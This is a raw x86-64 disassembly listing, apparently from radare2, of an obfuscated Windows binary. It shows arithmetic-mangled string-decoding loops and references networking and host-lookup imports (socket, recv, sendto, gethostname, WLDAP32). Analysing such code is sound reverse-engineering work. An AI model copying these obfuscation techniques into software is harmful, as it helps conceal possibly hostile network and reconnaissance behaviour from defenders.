movabs rdx, 0xabc7bf5c3dc95ea1
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x67
jmp 0x1400747f2
movabs rdx, 0xa5f8ebcb1f19a616
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0xa70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400742a2
movabs rdx, 0x7ec43541cd5631ac
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14007509f
movabs rdx, 0x578f7eb87b92bd42
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14007506f
movabs rdx, 0x305ac82f29cf48d8
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400742a2
movabs rcx, 0x92611a5d80bd46e
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 2
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400742a2
movabs rdx, 0xe1f15b1c86486004
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x1c
add r11b, dl
jmp 0x140074fa1
movabs rcx, 0xbabca4933484eb9a
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x36
dec rbx
inc rbx
jmp 0x1400742a2
movabs rcx, 0x9387ee09e2c17730
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x50
inc r9
dec rbx
inc rbx
jmp 0x1400742a2
movabs rcx, 0x6c53378090fe02c6
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x6a
jmp 0x140074f50
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x140074a60
lea rdx, [rbx + r12]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x73
jmp 0x140074855
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140074aa3
movabs rdx, 0x3752f943b5088cb2
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0xa70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400742a2
inc rax
cmp r8, rax
jne 0x140074ae4
movabs rdx, 0xacf11cdfaa52e9f0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400742a2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140074b25
movabs rcx, 0xd425d368fc165e5a
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x76
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400742a2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140074b58
movabs rcx, 0x228f407b9f9d472e
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x42
dec rbx
inc rbx
jmp 0x1400742a2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140074858
movabs rdx, 0x70f8ad8e43243002
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0xe
jmp 0x140074f4d
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140074bb7
movabs rcx, 0xd2fc75e58f8cd30b
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4d
jmp 0x140074f50
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140074beb
movabs rcx, 0x2165e2f83313bbdf
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x19
dec rbx
inc rbx
jmp 0x1400742a2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140074c1b
movabs rdx, 0x489a998184d73049
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
inc r11b
add r11b, dl
jmp 0x140074fa1
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140074c59
movabs rcx, 0x97040694285e191d
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x35
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400742a2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140074c8a
movabs rdx, 0xbe38bd1d7a218d87
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x4f
add r11b, dl
jmp 0x14007506f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400747f5
movabs rcx, 0xca22a301da8765b
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7d
movzx eax, byte [rbp + rbx + 0xa70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400742a2
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140074d0f
movabs rdx, 0x6ea5f2876a111964
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0xa70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400742a2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140074d41
movabs rdx, 0xbd0f5f9a0d980238
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14007506f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140074d7f
movabs rcx, 0xe44416235f5b76a2
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x6e
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400742a2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140074db0
movabs rdx, 0x32ad833602e25f76
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x3a
add r11b, dl
jmp 0x140074fa1
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400747a2
movabs rdx, 0xa84ba6d1f82cbcb4
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140074f50
movabs rdx, 0xf6b513e49bb3a588
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rbx + 0xa70]
add r11b, r10b
add r11b, dl
jmp 0x140074fa1
movabs rdx, 0x1de9ca6ded7719f2
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rbx + 0xa70]
add r11b, dl
add r11b, r10b
jmp 0x14007506f
movabs rcx, 0xfc83e775ba635e13
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x7b
movzx eax, byte [rbp + rbx + 0xa70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400742a2
movabs rcx, 0x86e5c3d9c51900d5
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x2d
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400742a2
movabs rcx, 0x1147a03dcfcea397
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x21
dec rbx
inc rbx
jmp 0x1400742a2
movabs rcx, 0xea12e9b47e0b2f2d
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x3b
inc r9
dec rbx
inc rbx
jmp 0x1400742a2
movabs rdx, 0xc2de332b2c47bac3
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x55
jmp 0x140074f4d
movabs rdx, 0x7474c61888c0d1ef
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x77
add r11b, dl
movabs rcx, 0xe31ab89ff2d1eb53
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x45
add cl, r10b
mov byte [rbp + rbx + 0xa70], cl
inc r9
dec rbx
inc rbx
jmp 0x1400742a2
movabs rcx, 0xfed6a27c937674b1
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x29
movabs rdx, 0xa4f6f2944955fbd
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x2b
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0xa70], cl
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400742a2
movabs rcx, 0xd7a1ebf341b30047
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0xf
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400742a2
movabs rcx, 0xb06d3569efef8bdd
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r11d, [rcx + rdx]
sub r11b, 0xb
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400742a2
mov r10, rdx
movabs rcx, 0x89387ee09e2c1773
add rcx, rbx
and dl, cl
add dl, dl
movzx r11d, r10b
sub r11b, dl
sub r11b, 0x25
add r11b, cl
movabs rcx, 0x318425b29658d427
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x11
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0xa70], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x451e80f73f3a8e5c
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0xa70], cl
inc r8
mov rax, r15
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xa70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400742a2
movabs rcx, 0x3acf11cdfaa52e9f
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r11d, [rcx + rdx]
sub r11b, 0x59
movzx eax, byte [rbp + rbx + 0xa70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400742a2
movabs rcx, 0x2f316aabbd45bd89
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x41
jmp 0x1400742a0
movabs rcx, 0x7fcb4226b82491f
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x27
jmp 0x140074290
lea rcx, [rbp + 0x169260c]
jmp 0x14007517f
lea rcx, [rbp + 0x10ae041]
jmp 0x14007517f
lea rcx, [rbp + 0xa70]
xor edx, edx
call fcn.14003ea10
mov byte [rbp + 0xa98], 5
mov byte [rbp + 0xa99], Ordinal_60
mov byte [rbp + 0xa9a], gethostname
mov byte [rbp + 0xa9b], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xa9c], gethostname
mov byte [rbp + 0xa9d], Ordinal_211
mov byte [rbp + 0xa9e], 0x5c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa9f], xmm0
mov qword [rbp + 0xaaf], rax
mov dword [rbp + 0xab7], eax
movabs rsi, 0xe0948d123492c127
movabs r13, 0x6c37d5f4ad2b8f4b
movabs r14, 0xc2512bda06a6cdb9
movabs r12, 0xe9e17ff0ac4faf23
movzx r11d, byte [rsp + 0x40]
nop
mov r9, qword [0x14023d108]
mov r8, qword [0x14023d100]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140075e1a
movzx r10d, byte [rbp + rbx + 0xa98]
mov rdi, r10
nop dword [rax + rax]
cmp r9, rbx
ja 0x140075e11
lea rax, [r8 + 1]
cmp r9, rax
jae 0x14007525c
lea rcx, [rbx + r13]
mov rax, r10
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, r10
add r11, rcx
sub r11b, 0xd
jmp 0x1400752a2
je 0x140075d88
inc rax
cmp r9, rax
je 0x140075d18
lea rax, [r8 + 2]
cmp r9, rax
je 0x140075cbd
lea rax, [r8 + 3]
cmp r9, rax
je 0x140075c85
lea rax, [r8 + 5]
cmp r9, rax
je 0x140075c36
lea rax, [r8 + 6]
cmp r9, rax
je 0x140075be1
cmp r8, rbx
ja 0x140075e08
lea rax, [r8 + 3]
cmp r9, rax
jae 0x1400752d0
lea rdx, [rbx + rsi]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x11
add r11b, dl
jmp 0x140075310
lea rax, [r8 + 1]
cmp r9, rax
je 0x140075bbf
lea rax, [r8 + 2]
cmp r9, rax
je 0x140075b94
lea rax, [r8 + 5]
cmp r9, rax
je 0x140075b6f
lea rax, [r8 + 6]
cmp r9, rax
je 0x140075b4a
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x140075805
nop dword [rax]
lea rax, [r8 + 1]
cmp r9, rax
je 0x1400757df
lea rax, [r8 + 0xa]
cmp r9, rax
je 0x1400757ad
lea rax, [r8 + 0x3e8]
cmp r9, rax
je 0x140075787
lea rax, [r8 + 0x10]
cmp r9, rax
je 0x14007575e
lea rax, [r8 + 2]
cmp r9, rax
je 0x140075729
lea rax, [r8 + 0x400]
cmp r9, rax
je 0x140075704
lea rax, [r8 + 0x20]
cmp r9, rax
je 0x140075320
lea r9, [r8 + 0x5a]
lea r8, [r9 + 3]
lea rax, [r8 + 8]
cmp r9, rax
jb 0x140075de3
lea rax, [r8 + 0x5a]
cmp r9, rax
jb 0x140075dbe
lea rax, [r8 + 0x80]
cmp r9, rax
jb 0x1400754b7
lea rax, [r8 + 9]
cmp r9, rax
jb 0x140075498
lea rax, [r8 + 0x2a]
cmp r9, rax
jb 0x140075479
lea rax, [r8 + 0x200]
cmp r9, rax
jb 0x14007569e
lea rax, [r8 + 0xa]
cmp r9, rax
jb 0x14007560a
lea rax, [r8 + 1]
cmp r9, rax
jb 0x140075320
lea r9, [r8 + 5]
lea r8, [r9 + 0x3e8]
lea rax, [r8 + 0x7a]
cmp r9, rax
ja 0x1400755d0
lea rax, [r8 + 0x42]
cmp r9, rax
ja 0x1400755aa
lea rax, [r8 + 6]
cmp r9, rax
ja 0x140075584
lea rax, [r8 + 0x41]
cmp r9, rax
ja 0x14007554f
lea rax, [r8 + 0x64]
cmp r9, rax
ja 0x14007552a
lea rax, [r8 + 8]
cmp r9, rax
ja 0x140075505
lea rax, [r8 + 0x5a]
cmp r9, rax
ja 0x1400754df
lea rax, [r8 + 0x80]
cmp r9, rax
ja 0x140075320
lea r9, [r8 + 0x1000]
lea r8, [r9 + 9]
jmp 0x140075320
lea rdx, [rbx + r14]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0xf
add r11b, dl
jmp 0x140075310
lea rdx, [rbx + r12]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0xb
add r11b, dl
jmp 0x1400752a2
movabs rdx, 0x1171d40751f8908d
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x25
add r11b, dl
jmp 0x140075225
movabs rdx, 0x4a46891a4960938
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140075c01
movabs rdx, 0x7b5564d59590ad76
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x3a
jmp 0x140075c56
movabs rcx, 0xa2e5b8ec3b398ee0
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x20
jmp 0x140075ca5
movabs rcx, 0xca760d02e0e2704a
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 6
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075212
movabs rdx, 0xf2066119868b51b4
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140075ce0
movabs rdx, 0x1996b5302c34331e
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140075d3c
movabs rdx, 0x41270946d1dd1488
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0xa98]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140075212
movabs rdx, 0x733083acbb550ae5
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x43
add r11b, dl
cmp r9, 0x3e8
jae 0x140075aed
lea rax, [r8 + 6]
cmp r9, rax
jbe 0x1400759ff
movabs rdx, 0xa9e2885f77f3e606
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x2a
add r11b, dl
cmp r8, 9
jb 0x140075add
movabs rdx, 0x1e3f3f7cff5b17e2
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x5c]
jmp 0x140075c04
movabs rdx, 0x9ac0d7c360fdec4f
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x29
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 3
je 0x140075b1d
lea rax, [r8 + 0x80]
cmp r9, rax
jbe 0x140075933
movabs rdx, 0xc94dfb4d436124df
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x19
jmp 0x14007562a
movabs rdx, 0x929bf69a86c249be
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x32
jmp 0x140075ce0
movabs rcx, 0xba2c4ab12c6b2b28
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x18
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075212
movabs rdx, 0xe1bc9ec7d2140c92
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140075ca5
movabs rdx, 0x94cf2de77bcedfc
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140075c56
movabs rdx, 0x586d9b0bc30eb0d0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r8
dec rbx
inc rbx
jmp 0x140075212
movabs rdx, 0x7ffdef2268b7923a
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140075c01
lea rax, [r8 + 5]
cmp r9, rax
jae 0x140075829
lea rcx, [rbx + r13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xd
jmp 0x1400756c1
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140075868
movabs rcx, 0xc1291a246925824e
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x22
movzx eax, byte [rbp + rbx + 0xa98]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140075212
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140075896
movabs rdx, 0x720871f71dd3bf7a
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x56
jmp 0x140075ce0
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1400758c5
movabs rdx, 0xfb5775b32cd91b3c
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140075c56
lea rax, [r8 + 4]
cmp r9, rax
jne 0x140075900
movabs rdx, 0xac36cd85e1875868
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r8
dec rbx
inc rbx
jmp 0x140075212
lea rax, [r8 + 2]
cmp r9, rax
jne 0x1400756c1
movabs rdx, 0x84a6796f3bde76fe
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140075c01
lea rcx, [r8 + 1]
cmp r9, rcx
jne 0x140075961
movabs rdx, 0xa1bda7369db84375
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x33
jmp 0x140075c01
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14007598f
movabs rdx, 0x2b0caaf2acbd9f37
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x7f
jmp 0x140075c56
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1400759cd
movabs rcx, 0xdbec02c5616bdc63
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x4b
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075212
lea rax, [rcx + 1]
cmp r9, rax
jne 0x14007562d
movabs rdx, 0xb45baeaebbc2faf9
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x31
jmp 0x140075ce0
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140075a3e
movabs rcx, 0x82523448d24b049c
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x44
movzx eax, byte [rbp + rbx + 0xa98]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140075212
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140075a6c
movabs rdx, 0x33318c1b86f941c8
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x78
jmp 0x140075ce0
lea rax, [r8 + 4]
cmp r9, rax
jne 0x140075a9e
movabs rdx, 0xe410e3ee3ba77ef4
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140075ca5
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14007566a
movabs rdx, 0x6d5fe7aa4aacdab6
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r8
dec rbx
inc rbx
jmp 0x140075212
mov byte [rbp + rbx + 0xa98], r11b
inc rbx
jmp 0x140075212
movabs rdx, 0xf6aeeb6659b23678
add rdx, rbx
movzx eax, dl
and al, r10b
add al, al
movzx r11d, byte [rbp + rbx + 0xa98]
sub r11b, al
sub r11b, 0x48
add r11b, dl
add r11b, r10b
jmp 0x140075c59
movabs rdx, 0xcf1e974fb409550e
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, byte [rbp + rbx + 0xa98]
sub r11b, 0x62
jmp 0x140075ce0
movabs rdx, 0xa411ec5d074bb5d7
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x1f
jmp 0x140075d3c
movabs rcx, 0x1ac2e8a0f8465a15
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x6d
jmp 0x140075ca5
movabs rcx, 0x69e390ce43981ce9
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x5f
dec rbx
inc rbx
jmp 0x140075212
movabs rdx, 0xb90438fb8ee9dfbd
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x2b
jmp 0x140075c01
movabs rdx, 0x824e128da3ba291
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 9
add r11b, dl
movabs rcx, 0x8a771571ac86a72d
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x3b
add cl, r10b
mov byte [rbp + rbx + 0xa98], cl
inc r8
dec rbx
inc rbx
jmp 0x140075212
movabs rdx, 0x7ed5dd6ccb3646cf
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x57
add r11b, dl
movabs rdx, 0x62e6c15b06ddc5c3
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x55
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0xa98], cl
jmp 0x140075ca5
movabs rcx, 0xa666318370df2839
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x71
add r9, r8
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075212
mov r10, rdi
movabs rdx, 0xf586d9b0bc30eb0d
add rdx, rbx
movzx eax, dl
and al, dil
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0x5b
add r11b, dl
movabs rdx, 0x3b566d446134e459
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x6f
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xa98], al
inc r8
add rax, r8
sub rbx, rax
jmp 0x140075d3f
movabs rdx, 0x1d172dc761d9cc77
add rdx, rbx
movzx eax, dil
and al, dl
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0x41
movzx r10d, dil
add r11b, dl
movabs rcx, 0xa78e43390e6073a4
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x7c
add r10b, cl
mov byte [rbp + rbx + 0xa98], r10b
inc r9
mov rax, r15
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0xa98]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140075212
movabs rcx, 0x44a781de0782ade1
add rcx, rbx
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r11d, [rcx + rdi]
sub r11b, 0x27
movzx eax, byte [rbp + rbx + 0xa98]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140075212
movabs rcx, 0x3902281df7a171f7
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x3f
jmp 0x140075210
movabs rcx, 0x60927c349d4a5361
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x59
jmp 0x140075200
lea rcx, [rbp + 0x14450fc]
jmp 0x140075e21
lea rcx, [rbp + 0xafe047]
jmp 0x140075e21
lea rcx, [rbp + 0xa98]
xor r8d, r8d
xor edx, edx
call fcn.1400406d0
test al, al
je 0x14008c2ac
lea rcx, str.General
call fcn.140036660
lea rdx, [0x140236c90]
lea rcx, [rbp + 0x440]
